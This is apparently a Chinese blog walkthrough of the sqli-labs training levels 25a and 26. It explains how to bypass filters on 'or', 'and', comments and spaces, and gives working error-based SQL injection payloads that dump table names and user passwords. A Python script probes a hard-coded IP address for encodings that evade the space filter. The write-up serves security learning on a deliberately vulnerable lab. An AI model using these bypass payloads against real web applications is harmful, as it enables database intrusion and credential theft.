sqlilabs(25a-26)

less-25a

过滤了or和and
变量$id的包裹方式从单引号变成了没有引号包裹,其余和25关一样

less-26

第26关会出现在apach下空格无法转义的问题,所以这里我们用docker做题
先起docker

docker images
docker run -dt --name sqli -p 80:80 --rm acgpiano/sqli-labs
ifconfig

起完docker,先重置数据库再做题
阅读源码发现过滤了很多东西,而且是用正则过滤的
在这里插入图片描述or and / – # 空格 和所有的斜杠和反斜杠

常用的注释符被注释掉了
这里可以尝试用 ;%00 (00截断) 的方式绕过
也可以用%23
或者也可以用 or ‘1’='1 的方式闭合(但是要注意这题的or也被过滤掉了)
or要用 || 绕过,或者用双写绕过
空格也被过滤了,用
/**/
()
回车(url编码中的%0a)
`(tab键上面的按钮)
tap
两个空格(双写绕过)

如果用报错注入的话就不用考虑空格的问题
payload如下:

?id=1' || updatexml(1,concat(0x7e,(database()),0x7e),1) || '1'='1
?id=1' || updatexml(1,concat(0x7e,(database()),0x7e),1) ;%00

在这里插入图片描述
成功绕过
接下来查security库下面的表:

?id=1' || updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables) where (table_schema=0x7365637572697479)),0x7e),1) || '1'='1  

XPATH syntax error: ‘emails,referers,uagents,users
发现虽然用了group_concat函数但是还是会出现显示不完全的问题,建议是用limit一个一个的查

?id=1' || updatexml(1,concat(0x7e,(database())),1) || '1'='1
?id=1' || updatexml(1,concat(0x7e,(select(group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema = 0x7365637572697479))),1) ||'1'='1  
/?id=1' || updatexml(1,concat(0x7e,(select(group_concat(column_name)) from (infoorrmation_schema.columns) where (table_name = 0x7573657273))),1) || '1'='1
/?id=1' || updatexml(1,concat(0x7e,(select(group_concat(concat_ws(0x7e,username,passwoorrd))) from (security.users))),1) || '1'='1
/?id=1' || updatexml(1,concat(0x7e,(select(group_concat(concat_ws(0x7e,username,passwoorrd))) from (security.users) where (id=2))),1) || '1'='1    
 #通过改变id的值可以遍历所有的数据

当我们使用%a0充当空格替换的时候:

?id=1' %a0%a0%a0%a0 oorrder %a0by%a0;%00        #其中%a0表示空格

下面这个脚本为判断有哪些符合要求的替换空格的编码

参考:HTML URL
编码参考手册:https://www.w3school.com.cn/tags/html_ref_urlencode.html

脚本如下

# -*- encoding: utf-8 -*-
import requests

for i in range(0, 256):
    # print(i)
    code = hex(i).replace('0x', '')
    if len(code) < 2:
        code = "0" + code
    code_0x = "%" + code
    # print(code_0x)
    url = "http://121.199.30.46/Less-26/?id=1'" + code_0x + "%26%26" + code_0x  + "'1'='1"
    r = requests.get(url=url)
    if "Dumb" in r.content.decode("utf-8", "ignore"):
        print(code_0x)
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值